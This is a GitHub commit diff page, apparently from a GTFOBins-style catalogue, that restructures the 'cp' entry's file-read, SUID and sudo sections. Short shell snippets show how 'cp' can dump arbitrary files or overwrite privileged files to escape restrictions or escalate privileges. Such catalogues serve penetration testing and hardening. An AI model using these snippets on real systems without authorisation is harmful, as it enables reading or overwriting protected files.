You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
3
2
functions:
4
-
suid:
3
+
file-read:
5
4
- code: |
5
+
LFILE=file_to_read
6
+
cp "$LFILE" /dev/stdout
7
+
suid:
8
+
- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
9
+
code: |
6
10
LFILE=file_to_write
7
11
TF=$(mktemp)
8
12
echo "DATA" > $TF
9
13
./cp $TF $LFILE
10
14
sudo:
11
-
- code: |
15
+
- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
16
+
code: |
12
17
LFILE=file_to_write
13
18
TF=$(mktemp)
14
19
echo "DATA" > $TF
15
20
sudo cp $TF $LFILE
16
-
file-read:
17
-
- description: It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. The path must be absolute.
0 commit comments